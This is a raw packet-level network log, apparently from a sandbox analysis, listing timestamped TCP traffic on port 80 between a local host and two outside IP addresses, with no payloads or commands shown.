Aug 23, 2022 03:42:56.716074944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716114998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716125011 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716156960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716161013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716200113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716213942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716291904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716342926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716357946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716399908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716440916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716449022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716532946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716573000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716583967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716619015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716639996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716784954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716824055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716835022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.716892004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716933012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.716941118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717005014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717046022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717056036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717138052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717179060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717186928 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717248917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717288017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717297077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717329025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717381001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717400074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717442036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717488050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717551947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717609882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717653036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717665911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717694044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717734098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717745066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717803955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717844963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717849016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.717912912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.717962027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718055010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718103886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718159914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718174934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718244076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718286037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718295097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718377113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718420029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718436956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718461037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718502045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718519926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718543053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718584061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718600988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718626976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718666077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718679905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718708992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718718052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718750954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718805075 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718847990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718862057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718879938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718890905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.718930960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.718966961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719023943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719065905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719069004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719110012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719149113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719156027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719193935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719225883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719235897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719242096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719274998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719316006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719320059 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719382048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719423056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719424009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719438076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719464064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719505072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719516039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719546080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719585896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719602108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719628096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719666958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719682932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719707012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719747066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719759941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719786882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719826937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719836950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719867945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719911098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719923973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719954014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.719959021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.719995022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720035076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720045090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720076084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720115900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720129013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720156908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720200062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720207930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720273018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720314980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720324993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720355034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720397949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720405102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720439911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720478058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720489025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720520020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720561028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720573902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720603943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720647097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720666885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720686913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720731020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720735073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720772028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720797062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720810890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720854044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720860958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720895052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720936060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.720952034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.720978975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721018076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721030951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721059084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721098900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721112967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721138000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721180916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721182108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721220970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721261024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721276999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721306086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721329927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721347094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721369028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721389055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721389055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721431017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721446037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721482038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721501112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721518993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721534014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721539021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721548080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721560001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721565008 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721580029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721590996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721599102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721605062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721618891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721637011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721654892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721659899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721669912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721674919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721676111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721683025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721697092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721705914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721715927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721721888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721734047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721751928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721752882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721764088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721771002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721772909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721790075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721791983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721807003 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721811056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721827030 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721829891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721848965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721868038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721874952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721885920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721885920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721894979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721903086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721906900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721915007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721925974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721939087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721945047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721963882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721966028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.721982002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.721995115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722001076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722013950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722019911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722031116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722038984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722042084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722060919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722067118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722079039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722086906 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722098112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722105026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722116947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722116947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722136021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722160101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722171068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722177982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722222090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722233057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722253084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722320080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722340107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722404957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722465992 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722704887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722723961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722790956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722806931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722830057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722877979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722891092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722914934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722935915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722959995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.722966909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.722985029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723000050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723016024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723040104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723062992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723078012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723083973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723092079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723104000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723117113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723124981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723129034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723150969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723170996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723171949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723185062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723195076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723217964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723236084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723238945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723279953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723280907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723392010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723411083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723506927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723522902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723531008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723550081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723566055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723579884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723582983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723625898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723634958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723692894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723743916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723747969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723793030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723839998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723901033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723923922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723946095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723963976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.723973036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723987103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.723997116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724008083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724030972 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724042892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724078894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724087000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724128008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724140882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724152088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724184036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724194050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.724196911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.724246979 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.750318050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.750381947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.869811058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.870228052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:58.035404921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.069796085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.160772085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.160816908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.160859108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.160883904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.160901070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.160907984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.160943031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.160983086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161022902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:58.161045074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:58.161078930 CEST	49743	80	192.168.2.4	45.95.11.158
